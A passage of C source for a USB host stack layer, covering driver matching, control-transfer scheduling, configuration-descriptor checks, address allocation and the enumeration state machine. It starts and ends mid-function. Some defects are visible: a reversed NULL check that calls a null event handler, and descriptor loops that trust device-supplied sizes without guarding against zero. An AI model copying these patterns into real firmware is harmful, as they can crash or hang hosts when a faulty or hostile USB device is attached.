if((deviceObj->tplEntryTried >= gUSBHostObj.nTPLEntries ) && (deviceObj->deviceClientDriver == NULL))
{
/* This means VID PID matching failed and it has reached the end of
* the TPL table. The device can be owned at a VID PID level or a
* device class subclass protocol level. If the VID PID matching
* reached the end of the table then we should check if device level
* class subclass protocol can be matched. All this only if the
* device specifies class subclass protocol at a device level and
* the device level class subclass protocol matching has not reached
* the end of the table */
if(deviceDescriptor->bDeviceClass != 0x0)
{
/* This means the device level class, subclass and protocol can
* be matched. Check if we have already tried this */
if((deviceObj->deviceClScPTried < gUSBHostObj.nTPLEntries) &&
(deviceObj->deviceClientDriver == NULL))
{
/* Search for match from the last match position. If the
* device was just connected */
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Device %d Looking for Device Level CL SC P driver", busIndex, deviceObj->deviceAddress);
deviceObj->deviceClScPTried = _USB_HOST_FindClassSubClassProtocolDriver(deviceDescriptor->bDeviceClass,
deviceDescriptor->bDeviceSubClass, deviceDescriptor->bDeviceProtocol, deviceObj->deviceClScPTried + 1);
if(deviceObj->deviceClScPTried < gUSBHostObj.nTPLEntries)
{
/* This means we found a match. Assign the corresponding driver */
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Device %d. Assigning Device CL SC P Driver %d",
busIndex, deviceObj->deviceAddress, deviceObj->deviceClScPTried);
deviceObj->deviceClientDriver = (USB_HOST_CLIENT_DRIVER *)(gUSBHostObj.tpl[deviceObj->deviceClScPTried].hostClientDriver);
deviceObj->deviceClientDriver->deviceAssign(deviceObj->deviceClientHandle, deviceObj->deviceIdentifier, &(deviceObj->deviceDescriptor));
}
}
}
}
if(deviceObj->deviceClientDriver == NULL)
{
/* The device is not owned. The host layer must try to set the
* configuration */
if(OSAL_MUTEX_Lock(&(gUSBHostObj.mutexControlTransferObj), OSAL_WAIT_FOREVER) == OSAL_RESULT_TRUE)
{
if((deviceObj->configurationState == USB_HOST_DEVICE_CONFIG_STATE_READY_FOR_CONFIG)
&& (deviceDescriptor->bNumConfigurations > 0)
&& (deviceObj->configDescriptorInfo.configurationNumber == USB_HOST_CONFIGURATION_NUMBER_INVALID))
{
/* The device is not configured, is ready to be configured
* and has at least one configuration. Check if the control
* transfer object is available to implement this command.
* */
if(!deviceObj->controlTransferObj.inUse)
{
/* This means we can set the configuration. We set to the
* first configuration */
deviceObj->controlTransferObj.inUse = true;
deviceObj->requestedConfigurationNumber = 0;
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Device %d Setting first configuration", busIndex, deviceObj->deviceAddress);
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_START;
}
}
OSAL_MUTEX_Unlock(&(gUSBHostObj.mutexControlTransferObj));
}
else
{
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Device %d Mutex Lock failed", busIndex, deviceObj->deviceAddress);
/* OSAL error must be handled here. This needs to be implemented
* */
}
}
}
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceControlTransfer
(
USB_HOST_CONTROL_PIPE_HANDLE pipeHandle
USB_HOST_TRANSFER_HANDLE * transferHandle
USB_SETUP_PACKET * setupPacket,
void * data,
USB_HOST_DEVICE_CONTROL_REQUEST_COMPLETE_CALLBACK callback,
uintptr_t context
);
Summary:
Schedules a control transfer.
Description:
This function schedules a control transfer. pipeHandle contains a handle to
a control pipe obtained through the USB_HOST_DeviceControlPipeOpen() function.
setupPacket points to the setup command to be sent in the Setup Stage of the
control transfer. The size and the direction of the data stage is indicated
by the setup packet. In case of control transfers where there is no data
stage, data is ignored and can be NULL. In all other cases, data should point
to the data to data be transferred in the data stage of the control
transfer.
If the transfer was scheduled successfully, transferHandle will contain a
transfer handle that uniquely identifies this transfer. If the transfer
could not be scheduled successfully, transferHandle will contain
USB_HOST_TRANSFER_HANDLE_INVALID.
When the control transfer completes, the host layer will call the specified
callback function. The context parameter specified here will be returned in
the callback.
Remarks:
Refer to usb_host_client_driver.h for usage details.
*/
USB_HOST_RESULT USB_HOST_DeviceControlTransfer
(
USB_HOST_CONTROL_PIPE_HANDLE pipeHandle,
USB_HOST_TRANSFER_HANDLE * transferHandle,
USB_SETUP_PACKET * setupPacket,
void * data,
USB_HOST_DEVICE_CONTROL_REQUEST_COMPLETE_CALLBACK callback,
uintptr_t context
)
{
USB_HOST_DEVICE_OBJ *deviceObj;
uint8_t deviceIndex ;
uint16_t pnpIdentifier;
USB_HOST_RESULT result = USB_HOST_RESULT_FAILURE;
if(transferHandle == NULL)
{
/* transferHandle cannot be NULL */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Set transfer handle to invalid as the default value */
*transferHandle = USB_HOST_TRANSFER_HANDLE_INVALID;
if(pipeHandle == USB_HOST_CONTROL_PIPE_HANDLE_INVALID)
{
/* Pipe handle is not valid */
result = USB_HOST_RESULT_PIPE_HANDLE_INVALID;
}
else if(setupPacket == NULL)
{
/* Required parameters are NULL */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else if((setupPacket->wLength != 0) && (data == NULL))
{
/* If this is not a zero data stage control transfer then data cannot
* be NULL. */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* The control pipe handle is the same as the device object handle. We get
* the index of the device object that owns this pipe. */
deviceIndex = USB_HOST_DEVICE_INDEX( pipeHandle );
/* PNP identifier is needed for the IRP user data */
pnpIdentifier = USB_HOST_PNP_IDENTIFIER( pipeHandle );
/* Get a pointer to the device object */
deviceObj = &gUSBHostDeviceList[deviceIndex];
/* Get a mutual exclusion lock as this is a global resource */
if(OSAL_MUTEX_Lock(&(gUSBHostObj.mutexControlTransferObj), OSAL_WAIT_FOREVER) == OSAL_RESULT_TRUE)
{
if(!deviceObj->controlTransferObj.inUse)
{
/* This means that there no control request in progress. We can assign
* request now. The transfer handle is updated to point to the device
* control transfer object. */
deviceObj->controlTransferObj.inUse = true;
*transferHandle = (USB_HOST_TRANSFER_HANDLE)(&deviceObj->controlTransferObj);
}
else
{
/* A control transfer is in progress. */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
/* Unlock the mutual exclusion */
OSAL_MUTEX_Unlock(&(gUSBHostObj.mutexControlTransferObj));
}
else
{
/* The mutual exclusion could not be obtained */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
if(*transferHandle != USB_HOST_TRANSFER_HANDLE_INVALID)
{
/* Set up the control transfer object */
deviceObj->controlTransferObj.requestType = USB_HOST_CONTROL_REQUEST_TYPE_CLIENT_DRIVER_SPECIFIC;
deviceObj->controlTransferObj.controlIRP.data = data;
deviceObj->controlTransferObj.controlIRP.setup = setupPacket;
deviceObj->controlTransferObj.controlIRP.size = setupPacket->wLength;
deviceObj->controlTransferObj.controlIRP.callback = _USB_HOST_DeviceControlTransferCallback;
deviceObj->controlTransferObj.controlIRP.userData = _USB_HOST_ControlTransferIRPUserData(pnpIdentifier, 0, deviceIndex);
deviceObj->controlTransferObj.context = context;
deviceObj->controlTransferObj.callback = (void*)callback;
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle, &(deviceObj->controlTransferObj.controlIRP)))
{
/* There was a problem while submitting the IRP. Update the result and
* the transfer handle. Return the control transfer object back to the
* device object */
result = USB_HOST_RESULT_FAILURE;
deviceObj->controlTransferObj.inUse = false;
*transferHandle = USB_HOST_TRANSFER_HANDLE_INVALID;
}
else
{
result = USB_HOST_RESULT_SUCCESS;
}
}
}
}
return result;
}
// *****************************************************************************
/* Function:
bool _USB_HOST_DeviceConfigurationDescriptorErrorCheck
(
USB_CONFIGURATION_DESCRIPTOR * configurationDescriptor
);
Summary:
This function checks the configuration descriptor for errors.
Description:
This function checks the configuration descriptor for errors. The following
errors are checked. The sizes reported by each descriptor headers are added
up to check if this sum is equal to total configuration descriptor size
reported in the configuration descriptor header, The number of endpoint
descriptors in an interface match the endpoints specified in the interface
descriptor and the number of interfaces mentioned in the configuration
header match the number of descriptors found in the configuration
descriptor.
Remarks:
This is a local function and should not be called directly by the
application.
*/
bool _USB_HOST_DeviceConfigurationDescriptorErrorCheck
(
USB_CONFIGURATION_DESCRIPTOR * configurationDescriptor
)
{
uint8_t * search;
bool result = false;
uint8_t bNumInterfaces;
uint8_t bNumEndpoints;
int uniqueInterfaces = 0;
int nEndpointsFound = 0;
uint8_t * endpointSearch;
int currentInterfaceNumber = -1;
USB_DESCRIPTOR_HEADER * descriptorHeader;
USB_INTERFACE_DESCRIPTOR * interfaceDescriptor;
uint16_t configDescriptorSize, analyzedSize = 0;
/* This function checks the configuration descriptor for errors */
if(configurationDescriptor == NULL)
{
/* The input parameter is not valid. Note that the result is already
* false. */
}
else
{
configDescriptorSize = configurationDescriptor->wTotalLength;
/* Check the size of each descriptor in the configuration descriptor and
* make sure that the size adds up. */
search = (uint8_t *)(configurationDescriptor);
while(search < ((uint8_t *)(configurationDescriptor) + configDescriptorSize))
{
/* Start adding the size of each descriptor */
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
analyzedSize += descriptorHeader->size;
search += descriptorHeader->size;
}
/* Check if the analyzed matches the size reported in the configuration
* descriptor header */
if(analyzedSize != configDescriptorSize)
{
/* The size does not match. result is already false, so nothing to
* do here. */
}
else
{
/* Now we check if the number of reported interface descriptors
* exist. Interfaces start with 0 */
search = (uint8_t *)(configurationDescriptor);
/* Start the search after the configuration descriptor*/
search += (sizeof(USB_CONFIGURATION_DESCRIPTOR));
bNumInterfaces = configurationDescriptor->bNumInterfaces;
/* Keep searching till we have either reached the end of the
* configuration descriptor or till we have found all the
* interfaces. While searching we need to notes that interfaces can
* have alternate settings. */
while(search < ((uint8_t *)(configurationDescriptor) + configDescriptorSize))
{
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
if(descriptorHeader->descType == USB_DESCRIPTOR_INTERFACE)
{
/* We found an interface descriptor. We need to make sure
* that we have not found this before. */
interfaceDescriptor = (USB_INTERFACE_DESCRIPTOR *)(search);
if(currentInterfaceNumber != interfaceDescriptor->bInterfaceNumber)
{
/* We have found an unique interface number */
currentInterfaceNumber = interfaceDescriptor->bInterfaceNumber;
uniqueInterfaces ++;
}
}
search += descriptorHeader->size;
if (uniqueInterfaces >= bNumInterfaces)
{
/* This means we have found all the interfaces. Don't bother
* searching any more. */
break;
}
}
if(uniqueInterfaces < bNumInterfaces)
{
/* This means the configuration descriptor does not contain all
* the interface descriptors. result is still false so nothing
* to do here. */
}
else
{
/* Now we make sure the number of descriptors in the endpoint
* match what is reported in the endpoint. */
search = (uint8_t *)(configurationDescriptor);
/* Start the search after the configuration descriptor*/
search += (sizeof(USB_CONFIGURATION_DESCRIPTOR));
bNumInterfaces = configurationDescriptor->bNumInterfaces;
/* The logic in the code below requires the default value of
* result to be true. */
result = true;
/* Locate an interface descriptor and then check the number of
* endpoints it has. */
while(search < ((uint8_t *)(configurationDescriptor) + configDescriptorSize))
{
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
if(descriptorHeader->descType == USB_DESCRIPTOR_INTERFACE)
{
/* Found an interface descriptor. Now analyze the endpoints
* it contains. */
nEndpointsFound = 0;
interfaceDescriptor = (USB_INTERFACE_DESCRIPTOR *)(search);
bNumEndpoints = interfaceDescriptor->bNumEndPoints;
endpointSearch = search + descriptorHeader->size;
/* Start another while loop to search for endpoints */
while(endpointSearch < ((uint8_t *)(configurationDescriptor) + configDescriptorSize))
{
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(endpointSearch);
/* Unless this is the last interface in the configuration
* descriptor,all endpoint belonging to an interface must
* be arranged in the descriptor between two interface
* descriptors. */
if(descriptorHeader->descType == USB_DESCRIPTOR_INTERFACE)
{
/* This means we have reached another interface
* descriptor but not the end of the configuration
* descriptor. Stop searching and see how many
* endpoints we found. */
break;
}
if(descriptorHeader->descType == USB_DESCRIPTOR_ENDPOINT)
{
/* We found an endpoint. Increment the count */
nEndpointsFound ++;
}
endpointSearch += descriptorHeader->size;
if(nEndpointsFound >= bNumEndpoints)
{
/* We found all the breakpoints that we were
* looking for. */
break;
}
}
/* Did we find out all the endpoints */
if(nEndpointsFound != bNumEndpoints)
{
/* No point in continuing */
result = false;
break;
}
}
/* Here if the descriptor was not an endpoint or if it was
* an endpoint, then endpoint search was successful. */
if(result == false)
{
/* Stop processing altogether because while processing
* and interface, there was an endpoint mismatch */
break;
}
else
{
/* Continue to process interface descriptors*/
search += ((USB_DESCRIPTOR_HEADER *)(search))->size;
}
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
uint8_t _USB_HOST_GetNewAddress( USB_HOST_BUS_OBJ *busObj )
Summary:
Searches and allocates a new device address.
Description:
This function searches and allocates a new device address.
Remarks:
This is a local function and should not be called by the application
directly.
*/
uint8_t _USB_HOST_GetNewAddress( USB_HOST_BUS_OBJ *busObj )
{
uint8_t tempAddress;
/* Find Free address */
for ( tempAddress = 1; tempAddress <= USB_HOST_DEVICES_NUMBER ; tempAddress++ )
{
if ((busObj->addressBits[ tempAddress / 8] & (1 << ( tempAddress % 8 ))) == 0)
{
break;
}
}
/*Mark for allocated address */
busObj->addressBits[ tempAddress / 8] |= (1 << ( tempAddress % 8 ));
return tempAddress;
}
// *****************************************************************************
/* Function:
void _USB_HOST_FillSetupPacket
(
USB_SETUP_PACKET *setupPacket ,
uint8_t requestType,
uint8_t request ,
uint16_t value,
uint16_t index,
uint16_t length
)
Summary:
Helper function to create setup packet.
Description:
Helper function to create setup packet
Remarks:
This is a local function and should not be called by the application
directly.
*/
void _USB_HOST_FillSetupPacket
(
USB_SETUP_PACKET *setupPacket ,
uint8_t requestType,
uint8_t request ,
uint16_t value,
uint16_t index,
uint16_t length
)
{
setupPacket->bmRequestType = requestType;
setupPacket->bRequest = request ;
setupPacket->wValue = value ;
setupPacket->wIndex = index ;
setupPacket->wLength = length;
}
// *****************************************************************************
/* Function:
void _USB_HOST_MakeDeviceReady
(
USB_HOST_DEVICE_OBJ * deviceObj,
int busIndex
)
Summary:
Maintains the state of the device at a device level.
Description:
Maintains the state of the device at a device level. Moves the state of the
device from attached to ready. It opens the control transfer pipe and checks
configuration descriptors for errors.
Remarks:
This is a local function and should not be called by the application
directly.
*/
void _USB_HOST_MakeDeviceReady
(
USB_HOST_DEVICE_OBJ *deviceObj,
int busIndex
)
{
USB_HOST_BUS_OBJ * busObj;
USB_CONFIGURATION_DESCRIPTOR * configurationDescriptor;
bool interruptIsEnabled;
busObj = &(gUSBHostBusList[busIndex]);
if(!deviceObj->inUse)
{
/* Although this should not happen, we make sure that we dont run tasks
* for device object that is not valid */
}
else
{
switch (deviceObj->deviceState)
{
case USB_HOST_DEVICE_STATE_WAITING_FOR_ENUMERATION:
/* If another device is enumerating on the bus, then we don't do
* anything. Only one device can enumerate on the bus */
if(!busObj->deviceIsEnumerating)
{
/* Remember which device is enumerating */
busObj->enumeratingDeviceIdentifier = deviceObj->deviceIdentifier;
/* Grab the flag */
busObj->deviceIsEnumerating = true;
/* Reset the device */
deviceObj->hubInterface->hubPortReset( deviceObj->hubHandle, deviceObj->devicePort );
/* Change the device state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_RESET_COMPLETE;
/* Check if the device object has any previous allocated memory. If
* so then free it up. Allocation is done for the
* configuration descriptor. */
if(deviceObj->configDescriptorInfo.configurationDescriptor != NULL)
{
USB_HOST_FREE(deviceObj->configDescriptorInfo.configurationDescriptor);
deviceObj->configDescriptorInfo.configurationDescriptor = NULL;
}
/* The holdingConfigurationDescriptor memory should be free
* but we double check this here just to be safe. */
if(deviceObj->holdingConfigurationDescriptor != NULL)
{
USB_HOST_FREE(deviceObj->holdingConfigurationDescriptor);
deviceObj->holdingConfigurationDescriptor = NULL;
}
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device Attach detected. Starting Enumeration.", busIndex);
}
break;
case USB_HOST_DEVICE_STATE_WAITING_FOR_RESET_COMPLETE:
/* Check if the reset has completed */
if(deviceObj->hubInterface->hubPortResetIsComplete( deviceObj->hubHandle ,deviceObj->devicePort ))
{
/* The reset has completed. We can also obtain the speed of the
* device. We give a reset recovery delay to the device */
deviceObj->speed = deviceObj->hubInterface->hubPortSpeedGet(deviceObj->hubHandle, deviceObj->devicePort);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_START_RESET_SETTLING_DELAY;
}
break;
case USB_HOST_DEVICE_STATE_START_RESET_SETTLING_DELAY:
/* In this state we start the Post Reset Settling delay */
busObj->timerExpired = false;
busObj->busOperationsTimerHandle = SYS_TMR_CallbackSingle(100, (uintptr_t ) busObj, _USB_HOST_TimerCallback);
if(SYS_TMR_HANDLE_INVALID != busObj->busOperationsTimerHandle)
{
/* Wait for the post bus reset to complete */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_RESET_SETTLING_DELAY_COMPLETE;
}
else
{
/* Continue to stay in the state */
}
break;
case USB_HOST_DEVICE_STATE_WAITING_FOR_RESET_SETTLING_DELAY_COMPLETE:
/* In this state we are waiting for the reset settling delay to
* complete. */
if(busObj->timerExpired)
{
busObj->busOperationsTimerHandle = SYS_TMR_HANDLE_INVALID;
/* Settling delay has completed. Now we can open default address
* pipe and and get the configuration descriptor */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device Reset Complete.", busIndex);
deviceObj->controlPipeHandle = deviceObj->hcdInterface->hostPipeSetup( deviceObj->hcdHandle,
USB_HOST_DEFAULT_ADDRESS , 0 /* Endpoint */,
deviceObj->hubAddress /* Address of the hub */,
deviceObj->devicePort /* Address of the port */,
USB_TRANSFER_TYPE_CONTROL, /* Type of pipe to open */
0 /* bInterval */, 8 /* Endpoint Size */, deviceObj->speed );
if(DRV_USB_HOST_PIPE_HANDLE_INVALID == deviceObj->controlPipeHandle)
{
/* We need a pipe else we cannot proceed */
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Could not open control pipe. Device not supported.", busIndex);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
/* Release the device is enumerating flag. Another
* device can start enumerating. */
busObj->deviceIsEnumerating = false;
}
else
{
/* Create a setup command to get the device descriptor */
_USB_HOST_FillSetupPacket( &(deviceObj->setupPacket),
( USB_SETUP_DIRN_DEVICE_TO_HOST | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_GET_DESCRIPTOR, ( USB_DESCRIPTOR_DEVICE << 8 ), 0 , 8 ) ;
/* Fill control IRP. Note the size of the control transfer data
* stage. We ask for the first 8 bytes of the device descriptor. */
deviceObj->controlTransferObj.inUse = true;
deviceObj->controlTransferObj.controlIRP.data = (void *) &( deviceObj->deviceDescriptor );
deviceObj->controlTransferObj.controlIRP.setup = &(deviceObj->setupPacket ) ;
deviceObj->controlTransferObj.controlIRP.size = 8 ;
deviceObj->controlTransferObj.controlIRP.callback = NULL;
/* Change device state to next state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_GET_DEVICE_DESCRIPTOR_SHORT;
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Requesting Device Descriptor.", busIndex);
/* Submit the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit(deviceObj->controlPipeHandle,
&(deviceObj->controlTransferObj.controlIRP)))
{
/* We need to be able to send the IRP. We move the
* device to an error state. Close the pipe and send
* an event to the application. */
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device Descriptor IRP failed. Device not supported.", busIndex);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
/* Release the device is enumerating flag. Another
* device can start enumerating. */
busObj->deviceIsEnumerating = false;
}
}
}
break;
case USB_HOST_DEVICE_STATE_WAITING_FOR_GET_DEVICE_DESCRIPTOR_SHORT:
/* Check if the Device Descriptor was obtained */
if ( deviceObj->controlTransferObj.controlIRP.status == USB_HOST_IRP_STATUS_COMPLETED )
{
/* The IRP completed. deviceObj->deviceDescriptor has the device
* descriptor. We can move to addressing state. */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_SET_ADDRESS;
/* Reset the enumeration failure count */
deviceObj->enumerationFailCount = 0;
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device Descriptor obtained. Setting device address.", busIndex);
}
else if ( deviceObj->controlTransferObj.controlIRP.status < USB_HOST_IRP_STATUS_COMPLETED )
{
/* The IRP failed. We will either reset the device or place
* it in an error state. In either case the control pipe
* should be closed. */
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
/* Release the device is enumerating flag. This will give
* another device the chance to start enumerating. The
* enumeration of this device will be re-attempted after
* the possible enumeration of the other device. */
busObj->deviceIsEnumerating = false;
/* Check if we should retry the enumeration sequence */
if (deviceObj->enumerationFailCount < USB_HOST_ENUMERATION_RETRY_COUNT)
{
/* Yes we should retry. Update the retry count */
deviceObj->enumerationFailCount ++ ;
/* Set device state for reset */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_ENUMERATION;
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device Descriptor Request Failed. Trying again.", busIndex);
}
else
{
/* We tried three times but were not able to get a proper
* device response. Place the device in an error state. */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device Request Failed 3 times. Device not supported.", busIndex);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
}
}
break;
case USB_HOST_DEVICE_STATE_SET_ADDRESS:
deviceObj->deviceAddress = _USB_HOST_GetNewAddress( busObj );
/* Create the setup request */
_USB_HOST_FillSetupPacket( &(deviceObj->setupPacket),
( USB_SETUP_DIRN_HOST_TO_DEVICE | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_SET_ADDRESS , deviceObj->deviceAddress , 0 , 0 ) ;
/* Create the IRP packet */
deviceObj->controlTransferObj.controlIRP.data = (void *) ( deviceObj->buffer );
deviceObj->controlTransferObj.controlIRP.setup = &( deviceObj->setupPacket ) ;
deviceObj->controlTransferObj.controlIRP.size = 0 ;
deviceObj->controlTransferObj.controlIRP.callback = NULL;
/* Set the next host layer state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WATING_FOR_SET_ADDRESS_COMPLETE;
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Setting Device Address to %d.", busIndex, deviceObj->deviceAddress);
/* Submit the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle, & (deviceObj->controlTransferObj.controlIRP)))
{
/* We need to be able to send the IRP. We move the device to
* an error state. Close the pipe and send an event to the
* application. The assigned address will be released when
* the device in un-plugged. */
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Set Addres IRP failed. Device not supported.", busIndex);
/* Move the device to error state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
/* Release the device is enumerating flag. Another device
* can start enumerating. */
busObj->deviceIsEnumerating = false;
}
break;
case USB_HOST_DEVICE_STATE_WATING_FOR_SET_ADDRESS_COMPLETE:
/* In this state the host is waiting for the set address request
* to complete */
if ( deviceObj->controlTransferObj.controlIRP.status == USB_HOST_IRP_STATUS_COMPLETED )
{
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Set Address complete", busIndex);
/* This means the Set Address request completed
* successfully. Now we can open an addressed control
* transfer pipe. Close the current control pipe. This one
* is to device address 0 */
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
/* Reset the enumeration failure count */
deviceObj->enumerationFailCount = 0x00;
/* Open the new addressed pipe */
deviceObj->controlPipeHandle = deviceObj->hcdInterface->hostPipeSetup( deviceObj->hcdHandle,
deviceObj->deviceAddress, 0 /* Endpoint */, deviceObj->hubAddress, deviceObj->devicePort,
USB_TRANSFER_TYPE_CONTROL/* Pipe type */, 0, /* bInterval */
deviceObj->deviceDescriptor.bMaxPacketSize0, deviceObj->speed );
if( DRV_USB_HOST_PIPE_HANDLE_INVALID == deviceObj->controlPipeHandle )
{
/* The control pipe could not be opened. We cannot
* do anything. We cannot support the device.
* Release the device address */
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d. Could not open addressed control pipe. Device not supported", busIndex);
_USB_HOST_FreeAddress ( deviceObj->deviceIdentifier );
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
/* Send an event to the application */
if(gUSBHostObj.hostEventHandler == NULL)
{
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
/* Release the device is enumerating flag. Another
* device can start enumerating. */
busObj->deviceIsEnumerating = false;
}
else
{
/* The pipe was opened and we can continue with the
* rest of the enumeration */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_POST_SET_ADDRESS_DELAY;
}
}
else
{
if ( deviceObj->controlTransferObj.controlIRP.status < USB_HOST_IRP_STATUS_COMPLETED )
{
/* The Set Address Request failed. We should either
* retry or place the device in error state. In any case
* the the control pipe should be closed. */
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
/* Release the device is enumerating flag. This will give
* another device the chance to start enumerating. The
* enumeration of this device will be re-attempted after
* the possible enumeration of the other device. */
busObj->deviceIsEnumerating = false;
/* Should we retry? */
if (deviceObj-> enumerationFailCount < USB_HOST_ENUMERATION_RETRY_COUNT )
{
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d. Set Address failed. Trying again.", busIndex);
/* Yes we should. Increment the failure count */
deviceObj->enumerationFailCount ++ ;
/* The device address must be released because this
* will be attempted again */
_USB_HOST_FreeAddress(deviceObj->deviceIdentifier);
/* Set device state for enumeration */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_ENUMERATION;
}
else
{
/* We have tried enumeration multiple times and
* failed. */
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d. Set Address failed 3 times. Device not supported.", busIndex);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send the event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
}
}
}
break;
case USB_HOST_DEVICE_STATE_POST_SET_ADDRESS_DELAY:
/* After the address has been set, we provide a delay of 50
* milliseconds */
busObj->timerExpired = false;
busObj->busOperationsTimerHandle = SYS_TMR_CallbackSingle( 50, (uintptr_t ) busObj, _USB_HOST_TimerCallback);;
if(SYS_TMR_HANDLE_INVALID != busObj->busOperationsTimerHandle)
{
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_POST_SET_ADDRESS_DELAY;
}
break;
case USB_HOST_DEVICE_STATE_WAITING_POST_SET_ADDRESS_DELAY:
/* Here we check if the post device set address delay has
* completed */
if(busObj->timerExpired)
{
busObj->busOperationsTimerHandle = SYS_TMR_HANDLE_INVALID ;
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Post Set Address Delay completed.", busIndex);
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Requesting Full Device Descriptor.", busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_GET_DEVICE_DESCRIPTOR_FULL;
}
break;
case USB_HOST_DEVICE_STATE_GET_DEVICE_DESCRIPTOR_FULL:
/* In the state the host layer requests for the full device
* descriptor. Create the setup packet. */
_USB_HOST_FillSetupPacket( &(deviceObj->setupPacket), ( USB_SETUP_DIRN_DEVICE_TO_HOST | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_GET_DESCRIPTOR, ( USB_DESCRIPTOR_DEVICE << 8 ), 0 , deviceObj->deviceDescriptor.bLength ) ;
/* Fill IRP */
deviceObj->controlTransferObj.controlIRP.data = (void *) &( deviceObj->deviceDescriptor );
deviceObj->controlTransferObj.controlIRP.setup = &(deviceObj->setupPacket);
deviceObj->controlTransferObj.controlIRP.size = deviceObj->deviceDescriptor.bLength;
deviceObj->controlTransferObj.controlIRP.callback = NULL;
